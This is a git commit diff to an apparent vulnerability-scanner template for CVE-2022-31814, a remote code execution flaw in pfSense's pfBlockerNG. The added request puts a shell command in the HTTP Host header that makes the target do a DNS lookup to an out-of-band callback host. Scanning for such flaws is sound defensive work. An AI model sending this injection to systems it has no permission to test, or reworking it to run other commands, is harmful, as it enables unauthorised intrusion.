Update CVE-2022-31814.yaml

patch-1
Prince Chaddha 2022-09-23 16:25:47 +05:30 committed by GitHub
parent 8afcd8da2b
commit 9296e3c7e9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 5 deletions

View File

@ -19,13 +19,18 @@ info:
tags: cve,cve2022,pfsense,pfblockerng,rce,oast
requests:
- raw:
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host: ' *; host {{interactsh-url}}; '
Accept: */*
req-condition: true
unsafe: true
matchers-condition: and
matchers:
@ -34,7 +39,6 @@ requests:
words:
- "dns"
- type: status
status:
- 400
negative: true
- type: dsl
dsl:
- 'contains(body_1, "GIF")'